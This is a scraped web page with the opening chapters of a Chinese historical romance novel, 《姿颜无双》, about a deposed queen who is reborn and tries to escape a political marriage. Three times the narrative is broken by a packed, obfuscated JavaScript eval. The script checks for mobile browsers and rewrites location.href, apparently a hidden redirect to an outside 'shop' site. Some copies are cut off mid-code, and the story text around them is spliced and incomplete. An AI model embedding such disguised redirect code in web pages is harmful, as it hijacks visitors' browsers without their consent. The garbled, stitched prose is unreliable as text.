《姿颜无双》 1. 前世结局 狂雷骤雨夹着阴风吹进高台殿宇,暗红地砖表面漫着薄薄水渍,扑鼻而来的湿润雨气让本就烦闷的心绪更加抑塞。 冷风将那件玄青袖袍吹开后又重新贴回腰间,男人迈着沉稳的步伐穿过回廊走进大殿,发顶的九旒冕上,朱缨摇曳。他行至龙纹漆案前拿起文书,犀利的目光在众卿上书的内容上停留半刻,神情严肃。 卫介紧跟在他身后进殿,停在远处。 望着前端男人不怒自威的模样默了一默,而后俯身作辑,轻声谏言:“王上,自古有话:不孝有三,无后为大。” “王后嫁入我国已两年光阴,仍然无嗣,实乃失职。眼下华纪国国君大势已去,早已不足为惧,王上您应考虑另娶新妃,多纳姬妾才能保证我国后继有人,家国安定啊!” 卫介眼睛滴溜转着,落在男人掌中的文书上,言语试探:“臣下以为,众卿家上书与臣的提议一致。” 言罢,男人放下手心文书抬头瞥过来,二人相视,有默契地并未张嘴也对上了话。 没得到王上的确切的回复,卫介怕他对王后有余情而不下决心,连忙上前几步,跪拜在案前,道: “民间一早便传王后有不育症结,敢问一个女子,连为国君怀胎十月诞下继承人这点微薄小事都做不到,怎可稳坐王后之位?眼下您又是新王,更要以大局为重,尽快册立新后才能堵住悠悠众口。” 许是这些话推波助澜,衡无倡心中对朝颜仅存的那点情义更消失殆尽。朝颜那本就不安稳的后位直接暴露在熊熊烈日下,被众人反复鞭挞。 忆起方才与女人的口舌之争,衡无倡细长的眉眼露出一抹狠戾,心中怒意不减反增,随即起身把漆案上的文书全部拂在地上,噼里啪啦,留下一片狼藉转身去了寝殿。 卫介十分有眼色,唤来洒扫宫女后就退了下去。 …… 暴雨未歇,诺大王宫一角的钟毓宫不曾掌灯,殿内昏暗又冷清,静得可怕。 清冷的白色裙琚裹在身上,显得朝颜的单薄背影更加消瘦。乌发未系,散在肩后,原本漂亮的眉眼已经肿胀得如蛙眼般,难看至极。她坐在窗前,盯着一处怅然若失,脑海中频频显现出嫁前那些逍遥日子,只不过两年光阴,一切都变了。 宫人们总会见风使舵,听到前朝的风吹草动后,只半日整个大殿便逃得只剩三个人。 宦官带着废后王命来到钟毓宫时,无人通报。朝颜已经把自己锁在寝殿多日,此刻听到王令后,面色已经不再有任何波澜,一连多日,各式各样的重重打击已经让她再也没心思去为这种琐事悲伤。 国破家亡,流言蜚语,夫妻离心在前,废后入冷宫的王命在后,自己当年毅然请嫁联姻的场景令人可笑。她不知该怨这本就注定的天命,还是该怨当年那个单纯的自己。 只是想想二人曾经也有过美好的日子,如今却尽数崩塌,仿佛镜花水月一番泡影,心里便像被万根银针扎着般,噬心蚀骨的疼。 为何就不能像从前那样从一而终呢…… 新王迎娶新后之时,朝颜称病并未露面;十月怀胎,新后诞下嫡子之时,举国庆祝,唯有朝颜独自在冷宫中郁郁寡欢;直至王上新纳的媵妾难产,留下庶女,那孩子被送至冷宫,朝颜才让自己从半死不活的状态中脱离,接下那个慰藉她心绪的孩子。 二人冷宫作伴,九年光阴恍然而过。 新王登位十年后,天下近乎全部为他所有,周边各国已全部被他纳入麾下,他高兴,下令大赦天下,宫内所有人均可获得自由,出宫狩猎一日。 春回大地,草长莺飞。 这是朝颜被困冷宫十多年来初次与外界接触,亦是初次尝试自由的滋味,竟然如此舒服惬意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405587|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突袭的刺客打破朝颜原本的宁静,彼时她正在远离军队的溪边玩水,只想脱离监视,潇洒几分而已。 蓝白相间的曲裾在风中飘摇,裙摆被水浸湿紧贴在身上,交领处的白色锦布被照得刺眼。这是她初次出宫,也是初次穿的新衣,就这样被人打搅了。 那人似乎跟衡无倡有深仇大恨,已经把她的身份都调查的一清二楚。交谈不过三句,便道:“谁人不知朝颜长公主乃厉烜王的元配正妻,若杀了你,定能让他心情不快,届时再杀了他,那我便大仇得报,乐得快活。” 闻言,朝颜神色恍惚。 倒不是在思索衡无倡是否会因为她的死而心情不快。 而是在想她住在冷宫多年,差点忘记自己当初嫁的那位平平无奇的夫君,早已是大名鼎鼎的厉烜王,一位靠战成名的戾君。 她不慌不忙地看着歹人,也不呼救,看着他手上挟持的孩子,恳求他放过无辜孩子,而后取下身上唯一可以与之对抗的木簪扔到一旁,摆出一副视死如归的表情。 她想,若这是天命,死就死吧。 只希望下辈子的命,不要这样难捱。 * 嘉和二十三年,普桑国二公子衡无倡弑父杀兄,篡权夺位,自封厉烜王,亲自领兵扩张疆土,凭借雷霆手段拿下周边数国,一战成名。 同年,因元配王后朝颜无嗣,下令将其退入冷宫,立败军公主为后,纳元后随侍媵妾为夫人,整日酣歌醉舞,乐不思蜀。 次年巳月,新王后诞下嫡子被册封为太子,母凭子贵。媵夫人难产致死,留下庶女过继于废后朝颜膝下,二人相依为命十年。 嘉和三十三年春,废后朝颜于狩猎途中惨遭厉烜王旧敌戕害,终结此生。次年,厉烜王于宫中宴请臣下被奸人所害,暴毙而亡,太子在王后极其背后势力帮扶下,成功登上王位。 2. 逃亲之路(一) 日薄西山,余霞成绮,艳丽光辉为众人的锦袍镀了层金色。 榆木所制的车毂嘎吱作响,数以百计的妆奁像座山丘,堆积在十多辆马车上,送亲队伍浩浩荡荡,穿过茂密丛林、广阔田间,快马加鞭地赶向别国。 依和亲所定之期,明日便可抵达普桑国。 季夏微燥,时而有风,车舆四角的衡柱上,銮铃随风摇曳,叮当悦耳,弄得人心舒畅。 华纪国国人以美貌而闻名,送亲队伍庞大,不仅几位貌美媵妾,身姿妖娆,就连驱赶马车的随侍都是清俊潇洒,模样一个赛一个。 风拂过,掀起镶满珠翠的帷幕,其内所蔽之人,是华纪国最尊贵的嫡公主——朝颜。 连着十日乘车坐轿,精疲力竭,繁琐的婚袍帷帽、数层薄纱堆在身上,似小山丘般压得女子喘不过气,困在梦魇中醒不过来。 “身为王后却无嗣,实属不孝,你这样的女子如何担得起王后的位置?如何当得起百姓称呼你为夫人?” “简直不配生为女儿身!” “有辱我国颜面!” 讽刺言语在耳边盘旋,被人刺杀场面映在眼前,脖颈处传来一抹微凉,与那日在溪边被刀划过的触觉如出一辙。反反复复的刺激让朝颜宛若在针尖上翻滚,无处可逃。 一声銮铃声撞入耳中,她终于挣脱了。 睁开眼后便见一圈薄如蝉翼的红纱挡在眼前,发顶是重重的帷帽,边缘垂着几条玛瑙珠串,被这些屏障压着,也难怪会梦魇。 还记得这帷帽是启程那日侍女受令从王上那领来遮面的,临走时还特意嘱咐这东西要到普桑见过国君后才能摘下,以示对别国国君的尊敬。 这种礼仪她只觉得可笑。 此刻的她像个被包裹的厚礼,等待拆卸,偏偏还容不得半点拒绝。只因这是大国交聘联姻间的规矩,是身为一国公主必须遵守的“规矩”。 颈间冷汗滑进衣间,一阵燥痒,她后知后觉擦拭,知道这便是她方才做噩梦的罪魁祸首。 她双眸微抬,顺着被吹开的帷幕向外看去,远处的树木枝杈愈发繁茂,已经看到湖边杨柳随风而动,空中聚集了许多柳絮,恍惚六月飞雪。 见此景,朝颜便猜到快到两国交界处的湘湖了。 虽然她已重生一年之久,但偶尔还是会梦见前世那些不堪回首的场面。然而堂姐一家已经没有性命之忧,自己所嫁之人也与先前不同,那些悲惨事件都在转好,她还是会提心吊胆,疑神疑鬼。 尤其是她即将见到那个人。 “前方车队留步——” 一道熟悉的清透嗓音打破朝颜的沉思,伴随着急促的马蹄,来人似乎很焦急。 不知为何,朝颜原本的忧心忡忡在听到这声熟悉呼唤后,心间竟有几分淡淡雀跃。 她知道来人是谁。二人自那日稷粮城一别,她答应和亲,他领兵出征,本以为不会再见,未曾想会在此处听到他的声音。 送亲队伍最前端的领头少年一袭藏青色劲服坐在高马上,闻言转头望去,认出来者身份,又看看轿撵中端坐的女子,心下什么都懂了。随即一声令下,只片刻,众人便有秩序地驻在原地。 马蹄声邻近车旁,朝颜唤了声槐夏,便被搀扶着下车。 衣袍繁重华贵,腰间系的鎏金带钩上嵌着几颗绿松石,被烈日衬托泛着光辉。腰两端的凤纹玉组佩发出清脆碰撞声,满身绫罗珠宝,无一不昭示着一国公主的高雅大气。 朝颜拖着衣裙,每个动作都小心翼翼,废了些功夫才站住脚。一抬头便见到那人矫健下马,大步朝她走来。 男人身上的湖蓝衣襟半敞,纯白内衬露了出来,发顶上的高冠偏歪到一旁,面颊绯红,额上流汗,完全没有往日的稳重仪态,只剩焦急。 他站在朝颜面前,忆起她方才悠悠下轿和整理衣装时的端庄,硬生生愣在原地,久久未回神。 车队众人有好奇心重的,偷偷看过来,看见那位本应在战地守营的娄少傅,如今居然快马加鞭赶来,全然不顾形象为何物,乱了方寸,纷纷震惊地瞪大眼睛。 如此姿态,还是那位被尊为国之礼仪典范的君子么?还是那位对所有人漠然置之的大人么? 但看归看,众人偷瞥几眼便迅速收回。生怕娄少傅反应过来治他们的罪,毕竟淑人君子一向教导大家要遵规守矩,知礼数懂礼节,不得以下犯上,否则等待他们的将会是华纪国的严格律法。 娄卿旻向来敏锐,早已发觉众人的探究目光,但他如今全然不在乎,也不想再把那些严律放在心上。 他一双清眸全在朝颜身上,薄唇微抿,神色有些紧张,见她如此规矩,如此别扭,心中尽是怜惜。 不过分别半月而已,原本灵动狡黠的人已完全换了性子。 他主动向前一步,打破自己先前恪守的男女有别之礼仪,此刻二人间距不足二尺,薄纱珠串挡在他们中间,朦胧梦幻,即使不见真容也能猜得出帷帽下的她是多么艳丽。 “臣姗姗来迟,是因为昨日才得知公主和亲一事提前。”说完微微垂首对朝颜拱手作揖,拾起那份礼节。 骄阳微风,一个是泰然自若的端庄,一个是不加掩饰的凌乱焦躁,与朝颜逃亲时被他撞见的景象正好相反。 他们就这样隔着纱对视了许久,无言。 朝颜猜出娄卿旻不止是来送行,便示意槐夏搀扶向前。三人行至不远处的阴凉树下,侍女便有眼色地离开,把地方留给他二人。 槐夏已经远去,送亲队伍也后方,身侧没了外人,朝颜语气也轻快起来:“两日前得知的消息,今日便赶上,峮防距此处足足五百里,少傅大人竟忘记您口中的克己复礼,按行自抑了?我猜,大人一路不眠不休,至少也换了三匹马吧?” 略带调笑的话语让男人故作冷静的目光开始躲闪,随即看了朝颜一眼,将话题扯到正轨,道:“公主的及笄之礼我未曾参加,今日来此是想……” “少傅大人可是带了什么礼物?”朝颜话接得很快,一双眉眼清亮,满含期待。 娄卿旻今日急匆匆赶来为她送行是她没想到的,但若说他带了什么新奇的新婚贺礼来,她不惊讶,毕竟先前相处一年之久,在她这里他们已经是朋友了。 红纱遮蔽,看不清她的眼神,但能听见声音。 娄卿旻没有说是何礼物,只一字一句,吐字清晰:“和亲一事,公主当真下决心了么?” 听到他问这话,朝颜先是疑惑看向他,又陷入深思,回忆前多半程,有无数次逃跑的机会,她并没有离开。因为经过先前的一年光阴,她已真真正正成长,不再任性,开始为大局考虑。 君子有终身之忧,而无一朝之患。 她不能因为满足自己不想沦为政治棋子的私欲,而弃国内百姓于不顾。她是一国公主,是大国典范,亦是百姓身前的护盾,在危难时刻应该以身作则,为百姓谋求利益。 至于她自身是否幸福,不值一提。 先前心智不熟时,她对抗过,努力过,抱怨过,仍旧逃不开“和亲”的王命,如今一一坦然接受。 她深知得与失,好与坏,利与弊,都是共存的。既然她的国对普桑国有所求,那必然需要与之交换些什么,毕竟商人从不做亏本买卖。更何况普桑此刻掌握着华纪国最需要的粮资。 碧叶簌簌,倩影婆娑,漫天飞舞的绒毛围绕在二人身侧,仿佛撑起一圈屏障,隔开世人。 朝颜眼神慢慢从男人身上移开,看向远处飞燕,淡道:“既已知天命,便不再反抗。天命难违,还是大人先前告诫我的。” 话毕,只见娄卿旻侧身转头看她,“其实……” “我今日来此是想说……” “若公主不愿,臣可以帮你,逆了这所谓天命。” 几句话如同闷雷,敲在朝颜平淡的心间,让她惊了一颤,生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天下人口众多,起初各路英雄打着造福百姓的旗号,在各个村落推举首领,占领土地管辖众人,后来不免出现人性.欲望驱使的私自占地等一系列行为。 那颗承载着野心的雪球越滚越大,逐渐地开启强大吞并弱小的局面。不断吞并联合成为一国,后经过战乱与掌权人错误的执政方式,各地领头人纷纷发起战争,经过残忍厮杀和盟约签订,最终天下划分为北部、中原地区以及沙漠海域。 这样不断厮杀的战乱年代撑过了几百年,中原终于得到了如今短暂的和平,庞大地域被一分为三。 一位是掌握经济命脉的中原东部华纪国,一位是掌握粮食源地的中原西部普桑国,最弱小的便是位于两国中间的燕国,国土面积最少。 而北部地区由生来野蛮又好武力的蛮夷占领,南部以及东西地盘被山河湖泊,沙漠高原隔开,相距甚远,互不干扰侵犯,便也无人在意。 华纪国前朝国君因被歹人刺杀,未留男嗣,兄终弟及所继位,上位自封为贤齐王,也就是如今的国君,朝颜的父王。而普桑国在此期间亦是改朝换代了,前朝国君胸无大志,喜神鬼之说、荒淫无度,便直接被有一身抱负的堂弟取而代之,弑兄篡位。 回想前世,因哥哥在边境被山匪所杀,国家便开始动荡,内忧外患,那时正处于水深火热之中,她没办法,便挺身而出去普桑和亲,借他国兵力对抗贼人,暂时缓解了战乱。 未料和亲不过两年,衡无倡便凭借自身本领篡位称王。然而衡无倡野心很大,华纪国失去太子这位骁勇善战的主力军,日渐衰落,最后只能落得被吞并的下场。 反观北狄,在前世除了与普桑国之间有几次掠夺资源的小战役,在中原二国联姻后便没什么大动作。亦或者,她全被蒙在鼓里,毕竟国与国之间,风平浪静只是表面,内地暗流涌动才是正常。 若说起北狄,朝颜突然想到一件憾事。 3. 逃亲之路(二) 华纪国与燕国在朝颜未和亲之前便互为联盟国,表面是联盟,实际燕国有几座城池已经归属华纪,二国便也名正言顺地互相辅佐,不断来往。 而那件憾事便是有关燕国。 燕国国君燕融,乃朝颜的表姐朝弦之夫。在他还是太子的时候便对前往寺庙礼佛的表姐一见钟情,而后念念不忘,在成年加冠后继承父亲的王位,便主动求娶,还对华纪国俯首称臣。 可谓情真意切,真心实意,确实也打动了表姐。二人婚后琴瑟和鸣,相辅相成,将国家治理得很好。只是好景不长,燕国在朝颜不谙世事时便被贼人从中瓦解,悄无声息地覆灭了。 直到夫妻二人死讯传到华纪,朝颜还难以置信,因为她那时还在为兄长战死而悲伤,根本来不及思考燕国之事。 思绪回到当下,她想,或许燕国之事才是前世众人悲惨结局最初的引火线,只是不知到底是何人在背后推波助澜,酿出大祸。 殿外人群熙攘,似是庞大的队伍路过,一阵喧嚣,不知出了什么大事。朝颜闻声放下简牍穿上鞋袜,正想出去看看,被迎面而来的槐夏撞了个踉跄。 见她跑得上气不接下气,朝颜拉她进殿喝了口水才听她喊道:“大事不妙了公主!” …… 前半日还在乐得逍遥,哪曾想安稳的日子突然有了变动。 在侍女口中得知,普桑国前几日派使臣来华纪国交聘,已经到了。宫人们私下打听到消息说,普桑特意派了一位地位不低的商人来此,还开出了丰厚的报酬,但附加条件是要聘本国朝颜公主前往和亲,以示两国交好。 朝颜原本还对北狄与燕国一事有所忧虑,在听到这件事后,惊掉了下巴。一想到那个人,她便浑身颤抖起来,如同进了寒窟,冰到极点,四肢顿时失了力气,掌间的茶杯瞬间坠于地面。 为何和亲一事突然有了变卦? 还如此快? 难道所有一切真的都是命中注定?和亲必然?那她后续所要经历的,流言蜚语家破人亡,还有兄长,燕国,都会按照原定的顺序一一应验? 她不甘心。 槐夏看着公主的反应也被吓了一颤,连忙弯腰拾起茶杯,帮朝颜擦拭溅在手背上的水珠。 公主自前段日子风寒发烧愈合后,便一直让她关注普桑国,她探听到消息便事无巨细一一禀报,显然公主也未料到普桑国来此交聘之事。 朝颜公主与国君的关系一直不亲近,宫中所有宫人都看在眼里,事关两国,连槐夏一个未曾读过书的女子都知道,王上重利,定不会错失拉拢普桑的机会。 只是可怜了殿下,还未及笄就要被当成两国交聘的附加条件。 朝颜神思已经被拉到前世。 被耻笑无嗣是为大不孝的场景历历在目,直到被关冷宫前几日,她和衡无倡还为此大吵一架,嫁过去两年内她一直寻医问药,吃下数不胜数的苦药,她从幼时哪里吃过药?但那时她一心想为衡无倡诞下子嗣,就想知道自己身体究竟犯了什么病,各种稀奇古怪的法子她都试过。 奈何查了许久都无果。 不过,眼下最重要的不是子嗣,重要的是,离开。 她要逃婚。 她不要做两国间的政事棋子,不要嫁人。重来一世,至少要努力,要试着先解决燕国之事,若什么抵抗都不做,她会崩溃。况且如今华纪国国力强盛,有兄长在前方保家卫国做后盾,暂时不需要向外联姻寻求帮助。 只是令她匪夷所思的是,为何和亲一事提前了整整一年?她分明什么都没做,只是在兄长临走前提醒了几句而已。 连着称病许久不去王后宫中,王上多疑,早就猜到她在耍心思了,没有惩戒。不过酉时一刻,天色还泛着柔光,就派人来请她梳妆打扮去前殿参加夜宴。 宴席设在金銮殿偏殿,因是国宴,卿大夫们到的很早,朝颜故意多费了些时辰梳妆,原本想着能躲就躲,不凑上去平白惹人关注。但她忘了此次宴会的主角是她。 华纪国国君朝穆重面子,无时无刻不在彰显自己的大国威严。为此特意吩咐宫人们为使臣准备美酒佳肴,连珍藏多年的神鸟纹青铜觥都拿出来让使臣做饮酒器,足以见得他对二国再次联姻的重视。 大殿内燃烧着数千盏烛柱,还有众多鹰足灯,宴席亮如白昼。丝竹乱耳,觥筹交错,众人交谈甚欢。朝颜到宴时,原本喧闹的宴会蓦地安静下来。 随着朝颜迈步进殿,众人的视线便追随着她的身姿,错头看去。 素白直裾内套着深红锦裙,颜色鲜明,将朝颜的身形衬得更加高挑,颈间交领上绣着凤鸟花卉纹,腰悬玉珠,盈盈腰线被金银错琉璃带钩绘出,脚踩一双浅底丝织履,装扮简单却不失端重。 眉毛细长弯弯,莞尔一笑,皓齿整洁,令众人眼前皆是一亮。 连见多识广的普桑国使臣白率见到朝颜后,都有些目眩神迷,脑中出现“姿颜绝艳,举世无双”几个字。 他经商数十年,游走众地,见过不少美艳女子,从未见过如此花容月貌。高挑身形,肤如凝脂,领如蝤蛴,仪态温婉端庄又藏着一丝稚嫩的灵气。 难怪那位殿下在他来之前让他打听这位公主的事迹。 商人重利,华纪国国君也重利,华纪虽乃泱泱大国,但他们普桑亦是不相上下,毕竟他们手握最大的粮草基地,掌握了众人都需要的饭。 试问谁人不知粮草的重要? 眼下华纪国太子在边境与山匪交战,最需要粮草,若被虎视眈眈的北狄知晓华纪的窘境,届时北狄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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见白率被晾在那,高处的朝穆咳了一声,出来主持局面,笑道:“朝颜从小被孤宠坏了,说话有些直率,使臣莫介意。” 话毕,白率又朝着朝穆一拜,“国君放心。待公主及笄那日,我国必会为公主准备好华丽轿撵与宫殿,遵循华纪之礼仪,玉做六器礼天地四方,聘公主入国。” 朝穆一听完,便感觉普桑国使臣所言极其悦耳,已经感受到他满满的诚意,随即就替朝颜同意了,“如此甚好,如此甚好。” 朝颜这边还在思考使臣的话到底是什么意思,那边的国君已经为她安排好一切,真是迫不及待将她送出去。虽然她知道自己今日来不来,和亲这局都会定下,心里还是忍不住失落。 众人继续饮酒作乐,欣赏完几首舞曲后,宴席散去,朝颜也回了寝殿。 4. 逃亲之路(三) 夜色朦胧,繁星寥寥无几,暗夜笼罩着整个皇城台,四处灯火微蒙,宫人已经沉沉睡去,朝颜还半坐在榻上,思索着使臣在晚宴上的言语。 若她没猜错,普桑国如今的太子殿下不是衡无倡,应该还是那位王后所出的嫡子,衡宿。说来也是奇怪,和亲提前便算了,连和亲人选都变了。 到底是怎么回事? 难道是因为她重来一世,改变了事情走向? 不过就算所嫁之人不是那位,朝颜骨子里对和亲的抗拒也丝毫不减,与她而言,不过是从火坑跳入泥潭。若说衡无倡是狼心贼子的狠毒,那衡宿确实算得上善良,甚至有些愚蠢,那是因为他有个心思深沉的王后为他撑腰,故而他虽愚笨些,储君之位仍是他的。 依照前世,衡无倡在她和亲两年便弑父杀兄,将王后处死登上王位,若与前世相同,就算她嫁给太子勉强苟活,最后还是逃不了一死。 以上都是最差的结局。 如今她有了别的想法,便是逃出宫,不和亲,不参与前朝斗争。若兄长在城中便好了,他或许会帮她拒了这场联姻,做她的后盾,但情况有变,她更怕兄长突然出事。 所以她不仅要逃,还要去寻兄长。 起先不是没想过和国君坦白重活一事,到时救下兄长和燕国,用功绩做筹码来换不和亲,但依今晚国君对使臣的态度,和亲板上钉钉,他定然会严加看守。 更何况她重活之事太过邪门,若到时被诬陷私通敌国,恶灵缠身,她这生更是白走一遭。 既然眼前路都行不通,那便只能赌一把。 普桑点名要她,她失踪,和亲便会拖延,她也能先解决国内危机。距她及笄足足有一年之久,她不信自己无所作为。凡事留余地,她也坚信国君好面子,不会将自己失踪之事放出去,若实在难改命,那便只能顺应而为,至少将来回首,知道自己曾抗争过不后悔。 朝颜心事重重,一夜无眠。 翌日一早便给兄长朝饶送信说要去寻他,还提前叮嘱他一定小心山匪设埋伏,尤其是当心他们用毒。信使快马加鞭,八百里加急赶去战场,后面几日里,朝颜一边等着兄长回信,一边计划着逃亲路径。 果然不出她所料,第二日便签订了和亲盟书,联姻玉璋一分为二,各执一半为证。送走普桑使臣不过半日,王上便开始派重兵看守闻昭宫,生怕朝颜做出什么有损颜面之事。 知女莫若父,朝穆知晓朝颜的小心思,但其余人见公主甚是乖觉,只觉得国君多虑。距离和亲毕竟还有一年之久,看守侍卫见公主整日在殿内认真做女工,也纷纷懈怠下来。 就这样安分了半月,直到前朝传来太子殿下于战乱不甚失联的消息传来,朝颜瞬间觉得塌了天。明明前几日还收到了太子报平安的信,为何还会战中失联? 那日信中所言,兄长不日便要班师回朝,还让她不要擅自出宫,待他回来想法子解决和亲之事,本一切顺利,怎会突生变故。 朝颜心中恐惧愈发严重,冷汗浸湿衣衫,而后马不停蹄冲到金銮殿,才知太子拔营路上被山匪伏击,没有丝毫准备损失了三千军马,太子孤身对敌不甚失联,麾下军官指挥兵马勉强打了个平手,剩余军马现已经往回都城。 一来二去,还是没躲过。 国君见朝颜鬓发凌乱,衣衫漂浮,慌慌张张,没有半点公主模样,斥责了几声。朝颜完全听不进去,全身被抽干了力气,没站住脚摔在殿前,吓得众人一惊,最后还是被槐夏一瘸一拐搀扶回宫的。 朝颜怎么也想不通,明明已经让兄长提前规避,谁知这世的山匪比先前的更难对付,居然半路杀了个回马枪。眼下兄长失联多日,没半点消息,对整个华纪来说都是个噩耗。 窗缝飘来一股凉风,朝颜眉头一跳,忽然想起什么。 兄长失联,下一个便是燕国。 出宫一事要尽快提上日程。 用过晚膳她便靠在内殿软塌上,忽然听到殿外一阵极轻的脚步声,来人隐藏的很好,若不是她如今心思缜密,时刻警惕着,否则根本察觉不到。 槐夏在门口望风,羽堇进殿回话。华纪国虽对男女之间的关系要求不高,但也有些明文律法规定,譬如男女交谈会面间距不低于三尺,未及笄的女子不得私会男子,更不能孤男寡女共处一室。 许是前世经历过男女之事,朝颜一直对男女距离把控不明晰,也不把自己的侍卫当外男。 羽堇习惯了,也直接入了内殿。 少年一袭黑色便衣立在屏风后弯腰行礼,朝颜大步走了出去,“羽堇,你来可是带了什么消息?” “回公主,属下找到了太子殿下的贴身侍卫。”羽堇年纪不大,嗓音却是很稳重老成,而后默了一瞬,缓言道:“他说在峮防时,曾看到疑似穿着北狄装束的人与山匪勾结在一起。” 北狄,居然是北狄? 当今掌管北狄的是那个叱咤风云的丹擎王北塘禹,崇尚武力,嗜血好战,先王临终前要从五个王子内选出一位继承人。五位王便开始又自相残杀,最终只剩下两位,那两位实力不相上下,而北堂禹恰好是因为背后有夫人娘家相助,最后拔得头筹。 只是朝颜不解的是,明明双方已杀红了眼,北堂禹居然还愿意让剩下那位王子活着,还给他封爵让他执掌一方领地,这是多么自信之人才能做出的事。 朝颜这才想到前世兄长便是在边关剿匪时误入敌人圈套,中毒箭不治身亡,本以为是山匪奸诈,如今看来并不简单,多半也与北狄有关。 下一刻,羽堇从怀中取出一块熠熠生辉的金色令牌,交于她手上,她语气疑惑:“这是何物?” “可执掌三千精兵的金御令。”羽堇解释着:“这是那个侍卫主动上交的。太子殿下把如此贵重之物给他,定然是提前料到什么留了后路。” 他自小跟在太子身边,被一步步训练成暗卫,知晓太子很多秘密。 这金御令便是其中之一。 朝颜接过令牌,从少年严肃神态中看出令牌是个极其重要的东西,不能落于别人手中,否则兄长也不会在危急时刻将此物给他的贴身侍卫保管。 只是她从前身为公主不追问前朝之事,和亲以后成了外嫁妇便更无从而知。再加上前世羽堇与兄长一同战死,自是没有见过此物。 三千精兵,听起来便不容小觑。 原来兄长一直都为华纪留有后路。可惜前世这三千精兵并未显于世,不然衡无倡也不能将华纪拆吃入腹。 既然金御令如今在她手中,那一切定有回旋的余地。 女人沉思的时候目光放空,下意识落在羽堇身上。 羽堇则是默默低下头,他从不敢直视她,毕竟男女有分别,上下有尊卑。但他隐隐感觉公主与从前活在太子庇护之下的天之骄女有所不同了,在初次大战前还写信提醒太子注意山匪,让太子躲过了埋伏,好似未卜先知。 他兀的想起什么,又道:“公主,属下探听到娄少傅先太子一步离开军营并未上报,半路收到太子殿下受埋伏的消息也未曾回去支援。” 娄少傅? 朝颜听到这个名字,乌黑眸光闪烁,眼尾微挑了下,“是我所知的那位?”羽堇应声回答是。 经他提醒,朝颜才想起来华纪国确实有这么个不可多得的人才。 娄卿旻乃王上亲封少傅,太孙之师。与太子关系极好,也是王上最忠实的心腹,不论前世今生都是数一数二的贤臣,就是太过古板无趣了些,整日将家国利益挂在口中,让人难与之交谈。 前世和亲一事便有他在背后推波助澜,只是不知她死后,娄卿旻是何结局。朝颜努力控制自己不去想前世,追问羽堇:“他为什么会提前离开峮防?还不回去支援?” 少年摇头,眼中带着不解和怀疑,但未经证实,也不知如何解释,只道一句:“据说他现已在回城的路上了。” 娄少傅在朝五年之久,立了许多丰功伟绩,还不求赏赐只安分做事,众人都看在眼里,为此王上还称赞他为“真君子”。那样两袖清风,活得坦荡之人,定是不会做勾结之事,但他此次行为也确实让人深思,朝颜不得不记住这个名字。 “出宫一事怎么样了?” “已经安排妥当。” 羽堇在外奔走的这些天,早已谋划好逃跑路线,只差朝颜一声令下,他便能带着公主迅速逃离这个地方。在太子将他留给公主的那一刻,他便将公主所言当作第一命令,不过问,只执行。 “说起来我已经许久没去看过长嫂和小太孙了。”走之前要去见一见太子妃,给她个吃颗定心丸,免得太过担忧兄长,恰好也要向她求一样东西。 太子妃王鹊衫,乃丞相之女,端庄温婉,与兄长孕有一子,名为朝旸,那小太孙很是可爱机灵。前世兄长离开后,太子妃非但没有整日以泪洗面,还主动担起了太子的责任,将东宫上下打理的井井有条,实属大家闺秀中的典范。 前世朝颜主动请封和亲,也是太子妃给了她勇气。 提到太子妃,羽堇便又禀告:“属下途中见太子妃身边的下人也在四处搜寻太子的下落。” 太子不仅是她的夫君,又是一国储君,她派人寻找再正常不过了。 翌日朝颜特意去东宫见了太子妃,将自己一部分计划告知于她。王鹊衫身为世家之女,饱读诗书,思想开阔,自是不被宫中礼仪所困,还十分支持朝颜做自己想做的。朝颜安慰她要亲自将太子寻回,她只提醒朝颜注意安全,并不阻止。 得到太子妃的助力后,朝颜便立刻行动。先是回宫换了身男侍装扮,而后趁守卫轮换的功夫,带槐夏顺着羽堇给出的路径安全出宫。 还好有太子妃给的令牌,他们一路畅通无阻地出了都城。 出门在外不比宫内,繁华贵重的衣裳首饰用不上,比不得带些金银来的划算。但朝颜确实从幼时便锦 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进店后,槐夏环顾四周,小心翼翼掏出几颗碎银,店家立马两眼放光,领她们上了二楼的上好厢房。 殊不知,出门在外,越谨慎小心越能引人怀疑。 客舍角落里,一群男人的目光在她们二人身上停留许久,见槐夏拿出的是碎银,便猜到二人身份不简单。 边境远离都城,是穷乡僻壤的穷苦之地,大部分都是以物易物,更有甚者铜钱交易,金银可真真正正是个稀罕物。 几人对视着,眼中瞬间显现出贪婪算计,最中间带着紫色胎记的男人笑呵呵地扒拉着碗中的青菜,仿佛已经将别人的财物收入囊中般愉悦。 朝颜与槐夏二人对此一无所知。她们在客舍里安全度过两夜,直到第三日,到羽堇约定的时日却还未见人,朝颜开始心慌了,一面担心羽堇,一面担心燕国。 先前羽堇将出宫路径图给她后便去置办符节了,因为要出国土必须持符节,没有符节便会卡在门关不得通行。他们约定半月之期在此会面,届时一起去燕国,如今到日子他却没来,也不知究竟出了什么岔子。 用过午膳,朝颜不愿再等,决定先慢慢赶路。 她与槐夏一起背好包袱便出了客栈,中途朝颜还在感叹世风日下没有歹人,百姓生活安宁,不曾想还未走出二里地,便突生变故。 